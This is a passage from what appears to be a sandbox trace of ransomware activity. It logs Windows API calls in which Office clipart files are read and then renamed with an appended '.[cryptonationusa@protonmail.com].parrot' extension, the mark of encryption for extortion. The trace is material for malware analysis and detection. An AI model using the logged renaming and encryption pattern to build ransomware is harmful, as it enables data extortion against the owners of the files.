office\\clipart\\publisher\\backgrounds\\j0143748.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143748.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143748.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0154.930] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x64fcd0 | out: hHeap=0x5b0000) returned 1 [0154.930] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0154.930] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x226a050 | out: hHeap=0x5b0000) returned 1 [0154.930] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x6586e8 [0154.930] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xb0) returned 0x65b428 [0154.930] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4c80 [0154.930] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4bb0 [0154.932] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0154.932] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0154.933] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.933] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1323, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1323, lpOverlapped=0x0) returned 1 [0154.934] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0154.934] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0154.934] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0154.934] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606848 [0154.934] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605320 [0154.934] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5d8fd0 [0154.934] GetLastError () returned 0x0 [0154.934] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.934] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0154.935] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0154.935] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0154.935] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4c80 [0154.935] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0154.935] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0154.935] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143749.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143749.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143749.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143749.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0154.938] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0154.938] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0154.940] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.940] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x43e, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x43e, lpOverlapped=0x0) returned 1 [0154.940] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0154.940] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.940] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0154.940] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0154.940] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143750.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143750.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143750.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143750.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0154.943] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0154.943] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0156.302] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.302] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x412, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x412, lpOverlapped=0x0) returned 1 [0156.302] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0156.303] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.303] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0156.303] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0156.303] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143752.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143752.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143752.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143752.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0156.308] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0156.308] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0156.310] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.310] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1b7f, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1b7f, lpOverlapped=0x0) returned 1 [0156.311] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0156.311] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.311] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0156.311] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0156.311] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143753.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143753.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143753.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143753.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0156.315] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0156.315] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0156.319] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.320] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x6ad, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x6ad, lpOverlapped=0x0) returned 1 [0156.320] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0156.320] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.320] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0156.320] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0156.320] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143754.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143754.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143754.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143754.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0156.324] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0156.324] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0156.325] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.325] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x69f, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x69f, lpOverlapped=0x0) returned 1 [0156.325] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0156.326] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.326] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0156.326] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0156.326] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143758.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143758.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143758.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143758.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0156.333] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0156.333] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0156.334] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.334] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x124a, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x124a, lpOverlapped=0x0) returned 1 [0156.335] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0156.335] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.335] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0156.335] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0156.336] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00516L.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb00516l.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00516L.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb00516l.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0156.339] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0156.339] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0156.382] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.382] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2017, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x2017, lpOverlapped=0x0) returned 1 [0156.383] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0156.385] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.385] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0156.385] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0156.385] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00531L.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb00531l.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00531L.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb00531l.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0156.391] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0156.391] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0156.393] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.394] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x20ee, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x20ee, lpOverlapped=0x0) returned 1 [0156.394] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0156.395] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.395] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0156.395] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0156.395] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00673L.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb00673l.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00673L.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb00673l.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0156.399] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0156.399] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0156.400] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.401] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2026, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x2026, lpOverlapped=0x0) returned 1 [0156.401] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0156.401] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.401] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0156.401] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0156.402] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00703L.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb00703l.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00703L.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb00703l.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0156.405] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0156.405] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0156.407] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.407] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2313, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x2313, lpOverlapped=0x0) returned 1 [0156.408] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0156.408] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.408] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0156.408] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0156.408] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00760L.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb00760l.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00760L.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb00760l.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0156.412] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0156.412] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0156.413] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.413] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1f8f, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1f8f, lpOverlapped=0x0) returned 1 [0156.414] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0156.414] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.414] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0156.414] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0156.415] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00780L.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb00780l.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00780L.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb00780l.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0156.418] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0156.419] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0156.430] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.430] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xe1d, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xe1d, lpOverlapped=0x0) returned 1 [0156.430] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0156.430] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.430] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0156.430] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0156.431] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB01741L.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb01741l.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB01741L.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb01741l.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0156.440] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0156.440] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0156.442] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.442] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x38c, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, 